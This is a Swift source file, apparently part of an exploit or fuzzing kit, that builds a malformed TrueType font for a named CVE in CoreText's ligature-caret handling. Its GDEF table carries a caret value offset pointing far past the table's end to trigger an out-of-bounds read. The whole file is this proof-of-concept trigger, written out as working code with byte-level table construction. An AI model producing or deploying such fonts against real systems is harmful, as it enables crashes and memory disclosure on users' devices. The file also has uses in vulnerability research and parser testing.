// font.gdef · CoreText · GetLigatureCaretPositionsForGlyph · CVE-2026-112656 // GDEFLigatureCaret offset-chain out-of-bounds read import Foundation // ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func be32(_ v: UInt32) -> [UInt8] { [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le32(_ v: UInt32) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] } static func be64(_ v: UInt64) -> [UInt8] { (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } } static func le64(_ v: UInt64) -> [UInt8] { (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } } static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } // ── seed construction (from Cinder27 Sources: FontPayload) ── enum FontPayload { static func gdefCaretChase() -> Data { var tables: [(String, [UInt8])] = [] // head var head = [UInt8](repeating: 0, count: 54) head[0] = 0x00; head[1] = 0x01; head[2] = 0x00; head[3] = 0x00 head[4] = 0x00; head[5] = 0x01; head[6] = 0x00; head[7] = 0x00 head[12] = 0x5F; head[13] = 0x0F // magic tables.append(("head", head)) // hhea var hhea = [UInt8](repeating: 0, count: 36) hhea[0] = 0x00; hhea[1] = 0x01 hhea[34] = 0x00; hhea[35] = 0x00 tables.append(("hhea", hhea)) // maxp var maxp = [UInt8](repeating: 0, count: 32) maxp[0] = 0x00; maxp[1] = 0x00; maxp[2] = 0x50; maxp[3] = 0x00 maxp[4] = 0x00; maxp[5] = 0x01 tables.append(("maxp", maxp)) // hmtx tables.append(("hmtx", [0x02, 0x00, 0x00, 0x00])) // loca (short format, 2 glyphs) tables.append(("loca", [0x00, 0x00, 0x00, 0x04])) // glyf tables.append(("glyf", [0x00, 0x00, 0x00, 0x00])) // cmap (format 4, minimal) var cmap = [UInt8]() cmap += B.be16(0) + B.be16(1) cmap += B.be16(3) + B.be16(1) + B.be32(12) cmap += B.be16(4) + B.be16(24) + B.be16(0) cmap += B.be16(2) + B.be16(2) + B.be16(0) + B.be16(0) cmap += B.be16(0xFFFF) + B.be16(0) + B.be16(0) tables.append(("cmap", cmap)) // GDEF with a LigCaretList whose CaretValue offset runs past the table var gdef = [UInt8]() gdef += B.be16(0x0001) + B.be16(0x0000) // version 1.0 gdef += B.be16(0x0000) // glyphClassDefOffset — absent gdef += B.be16(0x0000) // attachListOffset — absent gdef += B.be16(0x000C) // ligCaretListOffset → 12 gdef += B.be16(0x0000) // markAttachClassDefOffset — absent // LigCaretList at 12 gdef += B.be16(0x000C) // coverageOffset → 24 gdef += B.be16(0x0001) // ligGlyphCount gdef += B.be16(0x0010) // ligGlyphOffsets[0] → 28 gdef += B.be16(0x0000) // pad // Coverage at 24: format 1, glyph 1 gdef += B.be16(0x0001) + B.be16(0x0001) + B.be16(0x0001) // LigGlyph at 28 gdef += B.be16(0x0001) // caretCount gdef += B.be16(0x7F00) // caretValueOffsets[0] — ~32 KB past the table tables.append(("GDEF", gdef)) // --- assemble let numTables = UInt16(tables.count) var header = Data() header.append(contentsOf: B.be32(0x0001_0000)) header.append(contentsOf: B.be16(numTables)) var searchRange: UInt16 = 1 var entrySelector: UInt16 = 0 while searchRange * 2 <= numTables { searchRange *= 2; entrySelector += 1 } searchRange *= 16 header.append(contentsOf: B.be16(searchRange)) header.append(contentsOf: B.be16(entrySelector)) header.append(contentsOf: B.be16(numTables * 16 - searchRange)) var body = Data() var offset = 12 + Int(numTables) * 16 var records = Data() var blobs = Data() for (tag, bytes) in tables.sorted(by: { $0.0 < $1.0 }) { records.append(contentsOf: B.ascii(tag)) records.append(contentsOf: B.be32(0x0001_0000)) // checksum (unchecked by parsers) records.append(contentsOf: B.be32(UInt32(offset))) records.append(contentsOf: B.be32(UInt32(bytes.count))) var padded = bytes while padded.count % 4 != 0 { padded.append(0) } blobs.append(contentsOf: padded) offset += padded.count } body.append(records) body.append(blobs) var out = Data() out.append(header) out.append(body) return out } }